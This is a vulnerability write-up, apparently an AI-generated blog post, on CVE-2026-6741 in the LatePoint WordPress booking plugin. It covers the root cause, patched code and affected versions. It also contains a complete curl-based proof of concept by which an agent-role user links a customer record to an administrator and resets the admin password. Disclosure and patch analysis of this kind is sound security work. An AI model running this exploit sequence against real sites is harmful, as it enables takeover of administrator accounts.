Automated Threat Modeling

LatePoint Plugin CVE-2026-6741: Agent to Admin Privilege Escalation via Customer Linkage — Technical Breakdown with PoC and Patch Analysis

CVE-2026-6741 is a privilege escalation flaw in the LatePoint WordPress booking plugin that lets an authenticated agent take over administrator accounts. This post covers the root cause, a working proof of concept, and the patch.

CVE Analysis

10 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-04-27

LatePoint Plugin CVE-2026-6741: Agent to Admin Privilege Escalation via Customer Linkage — Technical Breakdown with PoC and Patch Analysis
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A missing authorization check in the LatePoint WordPress booking plugin lets any user with the latepoint_agent role link a customer record to an administrator's account and then reset the admin's password. The result is a clean privilege escalation to full site control. With over 100,000 active installations, this flaw (CVE-2026-6741, CVSS 8.8) puts a large number of WordPress sites at risk.

LatePoint is a calendar booking and appointment scheduling plugin for WordPress, developed by LatePoint LLC. It targets service businesses such as salons, photographers, and auto detailing shops, and provides booking interfaces and customer management. Both the vendor and the WordPress plugin repository report more than 100,000 active installations.

Technical Information

Root cause: missing role verification in the Abilities API

The vulnerability lives in lib/abilities/customers/connect-customer-to-wp-user.php, in the execute() method of the connect-customer-to-wp-user ability. This ability is registered through the WordPress Abilities API (introduced in WordPress 6.9+) and links a LatePoint customer record to a WordPress user account.

The vulnerable code in version 5.4.1 checks that the target WordPress user exists, but never inspects what roles that user holds:

// v5.4.1 (VULNERABLE) public function execute( array $args ) { $customer = new OsCustomerModel( (int) $args['customer_id'] ); if ( $customer->is_new_record() ) { return new WP_Error( 'not_found', ... ); } $wp_user_id = (int) $args['wp_user_id']; if ( ! get_userdata( $wp_user_id ) ) { // Only checks: does the user exist? // MISSING: does the user have a non-privileged role? return new WP_Error( 'wp_user_not_found', ... ); } $customer->wordpress_user_id = $wp_user_id; // links customer to any WP user $customer->save(); return $this->serialize_customer( ... ); }

The omission is the whole bug. get_userdata() confirms the user exists, but the code throws away the returned user object and never looks at its roles property. It then assigns $wp_user_id to the customer record and saves it.

Why the default role configuration matters

Executing this ability requires only the customer__edit capability. As defined in lib/helpers/roles_helper.php, the latepoint_agent role is granted customer__edit by default. So any authenticated user with the agent role, a role meant for staff who manage bookings, already holds the exact permission needed to trigger the vulnerable method.

Attack flow

The exploitation path is straightforward and needs no user interaction:

  1. Authenticate as an agent. The attacker needs a WordPress account with the latepoint_agent role. This could be a legitimate staff account or one obtained through other means.
  2. Identify the target. The attacker finds the WordPress user ID of an administrator. This is commonly 1 for the first admin account, and it is also discoverable through the WordPress REST API endpoint /wp-json/wp/v2/users.
  3. Link a customer record to the admin. The attacker calls the connect-customer-to-wp-user ability endpoint with a customer_id they control and the administrator's wp_user_id. The ability runs because the agent has customer__edit and the code never checks the target user's role.
  4. Reset the password. The attacker starts LatePoint's customer password reset flow using the email tied to the customer record they control. LatePoint sends a reset token to the attacker's email.
  5. Overwrite the admin password. The attacker completes the reset. LatePoint's update_password() method calls wp_set_password() on the wordpress_user_id field of the customer record, which now points to the administrator. The admin's password is overwritten with the attacker's chosen value.
  6. Log in as administrator. The attacker signs in with the new password and has full administrative access to the site.

Proof of Concept

A public proof of concept for CVE-2026-6741 is documented in a detailed blog post by Abu Hurayra and corroborated by the Wordfence advisory. The reproduction steps below are drawn from those sources.

Prerequisites:

  • WordPress 6.9+ with LatePoint plugin version 5.4.1 or earlier installed and activated.
  • An attacker account with the latepoint_agent WordPress role.
  • The WordPress Abilities API enabled (default in 5.4.1).
  • Knowledge of the target admin's WordPress user ID (commonly 1; also discoverable via /wp-json/wp/v2/users).

Step 1: Authenticate as agent and obtain a REST API nonce.

WP_URL="https://target.example.com" AGENT_USER="agent_user" AGENT_PASS="agent_password" curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \ -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ -H "Cookie: wordpress_test_cookie=WP+Cookie+check" NONCE=$(curl -s -b cookies.txt "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce" 2>/dev/null) echo "Nonce: $NONCE"

Step 2: Identify a LatePoint customer record you control (create one through the booking form if needed). Note its customer_id.

CUSTOMER_ID=5

Step 3: Link the customer record to the administrator's WordPress user through the vulnerable ability endpoint.

ADMIN_WP_USER_ID=1 curl -s -b cookies.txt -X POST \ "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \ -H "Content-Type: application/json" \ -H "X-WP-Nonce: $NONCE" \ -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

A successful response returns the customer record with "wp_user_id": 1.

Step 4: Trigger a password reset for the LatePoint customer using the attacker-controlled email.

CUSTOMER_EMAIL="[email protected]" curl -s -X POST "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint sends a password reset email containing an account_nonse token to $CUSTOMER_EMAIL.

Step 5: Complete the password reset with a new password (using the token from the email).

RESET_TOKEN="<token_from_email>" NEW_PASSWORD="Attacker_Password123!" curl -s -X POST "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

This calls $customer->update_password(), which runs wp_set_password($NEW_PASSWORD, 1), overwriting the administrator's WordPress password.

Step 6: Log in as the WordPress administrator.

curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST "$WP_URL/wp-login.php" \ -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

Verification:

curl -s "$WP_URL/wp-json/wp/v2/users/me" \ -H "X-WP-Nonce: $(curl -s -b admin_cookies.txt $WP_URL/wp-admin/admin-ajax.php?action=rest-nonce)" # Expected: "roles": ["administrator"]

Patch Information

The vulnerability was fixed in LatePoint version 5.4.2, released on April 24, 2026. The patch is a targeted code change inside lib/abilities/customers/connect-customer-to-wp-user.php.

The patched execute() method adds a role-based allowlist check before any linking happens:

// v5.4.2 (PATCHED) $wp_user_id = (int) $args['wp_user_id']; $target_user = get_userdata( $wp_user_id ); if ( ! $target_user ) { return new WP_Error( 'wp_user_not_found', ... ); } // Only allow linking to non-privileged WP accounts using an allowlist of roles. $allowed_roles = [ LATEPOINT_WP_CUSTOMER_ROLE, 'subscriber', 'customer' ]; $user_roles = (array) $target_user->roles; if ( empty( $user_roles ) || ! empty( array_diff( $user_roles, $allowed_roles ) ) ) { return new WP_Error( 'privileged_user', __( 'Cannot link a customer to a privileged WordPress account.', 'latepoint' ), [ 'status' => 403 ] ); } $customer->wordpress_user_id = $wp_user_id; $customer->save();

The fix adds three defense layers:

  1. Storing the user object. The return value of get_userdata() is now captured in $target_user, so the user object is available for role inspection instead of being discarded after the existence check.
  2. Defining a strict allowlist. An explicit array of allowed roles (LATEPOINT_WP_CUSTOMER_ROLE, subscriber, customer) is defined. These are non-privileged roles appropriate for customer accounts. Any role not in this list, such as administrator, editor, or shop_manager, is treated as privileged.
  3. Performing an array_diff() check. The code computes array_diff($user_roles, $allowed_roles). If the target user holds any role outside the allowlist, or has no roles at all, the operation is blocked with a 403 Forbidden response and the error code privileged_user.

This is positive security modeling in action. Rather than blacklisting dangerous roles, which is fragile because custom roles or other plugins can introduce new privileged ones, the patch enumerates which roles are safe and denies everything else by default. Even if a site adds a custom high-privilege role, the ability refuses to link to those accounts.

Version 5.4.2 also disables the Abilities API by default behind a filter (latepoint_enable_abilities), which adds a second layer of defense.

Affected Systems and Versions

Plugin VersionSecurity StatusRecommended Action
5.4.1 and all earlier versionsVulnerable to CVE-2026-6741Immediate upgrade required
5.4.2 (released April 24, 2026)PatchedSafe to use
5.5.0 (released April 27, 2026)PatchedOptimal target version

The vulnerability requires:

  • WordPress 6.9 or later (for the Abilities API)
  • LatePoint plugin version 5.4.1 or earlier, installed and activated
  • At least one account with the latepoint_agent role
  • The WordPress Abilities API enabled (default in affected versions)

Vendor Security History

LatePoint LLC maintains an active update cadence with a recent focus on security hardening. The plugin's changelog shows multiple security updates across March and April 2026. Versions 5.3.1, 5.4.0, 5.4.1, and 5.4.2 all contain notes about security bugs they addressed, with explicit credit to Wordfence for reporting them. Earlier versions such as 5.2.10 and 5.2.11 also include notes about strengthening plugin security and hardening against potential vulnerabilities. The plugin has had a series of security issues, but the vendor responds quickly to responsible disclosure and ships patches fast. For CVE-2026-6741, version 5.4.2 followed disclosure promptly.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization